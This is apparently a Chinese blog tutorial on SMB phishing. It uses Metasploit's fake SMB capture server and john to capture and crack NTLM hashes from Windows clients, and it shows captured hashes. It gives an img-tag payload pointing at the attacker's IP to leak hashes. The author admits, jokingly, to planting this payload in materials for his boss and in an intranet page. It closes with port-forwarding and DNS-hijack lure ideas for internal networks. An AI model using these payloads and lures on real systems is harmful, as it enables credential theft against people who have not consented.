是的,這節(jié)課沒有王大爺,王大爺表示不用smb。。。
其實(shí)這節(jié)課最初定義是以SMB中繼攻擊(MS08-068)為首的smb中間人攻擊(smb會話劫持),但在深入研究后發(fā)現(xiàn),MS08-068僅適用于winserver2003、xp,可借助msf exploit/windows/smb/smb_relay模塊傻瓜式實(shí)現(xiàn),當(dāng)今環(huán)境來看,它的意義何在,于是,本章節(jié)重新定義《SMB釣魚篇》。
首先我們來準(zhǔn)備下實(shí)驗(yàn)環(huán)境:
- 用戶機(jī)( winxp 172.16.111.32 )
- 用戶機(jī)( win2008R2 172.16.111.57 )
- 用戶機(jī)( win10 172.16.111.200 )
- 攻擊者( ParrotSec4.6 172.16.111.31 )
核心自然是我們的攻擊機(jī),由全新耀眼系列ParrotSec KDE版本V4.6屈尊擔(dān)任……
我們來借助msf偽造一個(gè)smb服務(wù)器:
use auxiliary/server/capture/smb
這里補(bǔ)充一下NTLM認(rèn)證:
- 客戶端向服務(wù)器發(fā)送一個(gè)請求,請求中包含明文的登錄用戶名。服務(wù)器會提前保存登錄用戶名和對應(yīng)的密碼 hash
- 服務(wù)器接收到請求后,生成一個(gè) 16 位的隨機(jī)數(shù) (被稱為 Challenge也就是挑戰(zhàn)碼), 明文返回客戶端。使用存儲的登錄用戶密碼 hash 加密 Challenge,獲得 Challenge1
- 客戶端接收到 Challenge 后,使用登錄用戶的密碼 hash 對 Challenge 加密,獲得 Challenge2(這個(gè)結(jié)果被稱為 response),將 response 發(fā)送給服務(wù)器
- 服務(wù)器接收客戶端加密后的 response,比較 Challenge1 和 response,如果相同,驗(yàn)證成功
然而,我們這里偽造的smb服務(wù)器并沒有使用隨機(jī)數(shù),而是1122334455667788。

因?yàn)楝F(xiàn)在網(wǎng)上流傳的彩虹表就是根據(jù)它生成的。

這里使用win10進(jìn)行SMB訪問,捕捉到了NTHASH,但未捕捉到LMHASH,這是為什么呢?我們來看下安全策略說明:

劃個(gè)重點(diǎn):
此安全設(shè)置確定在下一次更改密碼時(shí)是否為新密碼存儲 LAN 管理器(LM)哈希值。相比加密性更強(qiáng)的 Windows NT 哈希,LM 哈希的加密性相對較弱,易于受攻擊。由于 LM 哈希存儲在本地計(jì)算機(jī)上的安全數(shù)據(jù)庫中,因此,一旦安全數(shù)據(jù)庫受到攻擊,密碼便會泄漏。
在 Windows Vista 及更高版本操作系統(tǒng)上的默認(rèn)設(shè)置: 啟用。
在 Windows XP 上的默認(rèn)設(shè)置: 已禁用。
也就是說我們看不到的原因很簡單,win10自動(dòng)禁用了LMHASH。
下面,開始我們的破解嘗試:
NET-NTLM1破解
使用winXP用戶級來演一下(win 2008以前版本采用NET-NTLM1認(rèn)證),進(jìn)行相同的操作,訪問含payload的網(wǎng)頁。

GET~
USER:Administrator DOMAIN:WINXP-52POJIE-2 OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1
LMHASH:2bfae6525db0ba3ddc94656a2250b580d1df597d53b10685
NTHASH:fe89bf95daa1cee5454fb87286a59620fc4d507158c0e38c
通過組合hash獲得Net-ntlmv1:
Administrator::WINXP-52POJIE-2:2bfae6525db0ba3ddc94656a2250b580d1df597d53b10685:fe89bf95daa1cee5454fb87286a59620fc4d507158c0e38c
當(dāng)然我們也可以設(shè)置set johnpwfile /tmp/repass直接導(dǎo)出~

這里使用ParrotSec自帶的john工具,指定hash類型:
john --format=netntlm repass_netntlm
成功破解用戶密碼:

NET-NTLM2破解
這里我們使用server2008R2進(jìn)行smb請求,結(jié)果和win10捕捉到的內(nèi)容是一樣的:

Net-ntlmv2規(guī)范如下:

指定規(guī)則爆破:john --format=netntlmv2 repass_netntlmv2

實(shí)戰(zhàn)
皮一下要不要得?
利用img標(biāo)簽強(qiáng)制SMB訪問的原理,構(gòu)造下我們的payload:
<img src="\\172.16.111.31\rabbit" hidden="true"/>
之前給老大的項(xiàng)目材料里其實(shí)就植入了payload,從表面是看是這樣的:
目測還算正常:

其實(shí),,代碼里,,,

別,,別打,,,聽我解釋,,,
原則上任何地方哦,比如筆者負(fù)責(zé)維護(hù)的實(shí)驗(yàn)室內(nèi)網(wǎng)導(dǎo)航,嘿嘿嘿(ˉ﹃ˉ)。。??瓤龋覀儊砜聪庐?dāng)該網(wǎng)頁被訪問的時(shí)候會發(fā)生什么:

這里講個(gè)真事兒,,,筆者的電腦密碼忘記了,一直使用PIN碼登錄,在這里居然靠這個(gè)找回了!而且密碼是我的生日,字典里絕對是沒有的。原理大家自行腦補(bǔ)下,應(yīng)該是因?yàn)榧償?shù)字的原因,實(shí)測win10秒破。

拓展
看到這里的小伙伴們是不是要激動(dòng)一番了,這個(gè)漏洞為什么沒有橫行?
關(guān)于這一點(diǎn),網(wǎng)上的教程并沒有解釋清楚,導(dǎo)致我在這里陷了很久,在這里跟大家分享一下:
1、如果是本地文件的話,即直接打開html文件,任何瀏覽器都可以觸發(fā)。
2、如果篡改的界面是網(wǎng)站頁面,只有IE瀏覽器可以觸發(fā)。
3、還有<img src="\\172.16.111.31\rabbit"/>標(biāo)簽中的rabbit隨意填寫,但不可為空,這是我栽的最久的地方,原諒我JS短板。
關(guān)于他的利用場景,我的見解是,尤其是對于一些內(nèi)網(wǎng),因?yàn)橛信f系統(tǒng)的緣故,依然使用IE瀏覽器的并不在少數(shù),如果恰巧拿到的服務(wù)器存在內(nèi)網(wǎng)網(wǎng)站,在主動(dòng)式進(jìn)攻(永恒之藍(lán))的基礎(chǔ)之上,借助SMB釣魚被動(dòng)式來一波也是可以的。
高階玩法
高階玩法這里只點(diǎn)出來,只是思路問題,無技術(shù)門檻,所以不做演示。
1、445端口轉(zhuǎn)發(fā)
轉(zhuǎn)發(fā)445端口難度比普通端口略高一點(diǎn),我們通過將445端口轉(zhuǎn)發(fā),可以將msf(確切的說是偽smb服務(wù)器)帶入目標(biāo)內(nèi)網(wǎng),一個(gè)穩(wěn)定持續(xù)的會話將會有利于你接收更多的HASH。
2、DNS劫持
這個(gè)技術(shù)我們已經(jīng)在MITM——DNS篇講過了,可以通過強(qiáng)行劫持所有域名,使目標(biāo)強(qiáng)行訪問我們指定的界面,當(dāng)然當(dāng)前界面可以給予足夠多的引導(dǎo),比如:全國護(hù)網(wǎng)在即,聯(lián)網(wǎng)需要身份認(rèn)證,請使用IE瀏覽器進(jìn)行訪問。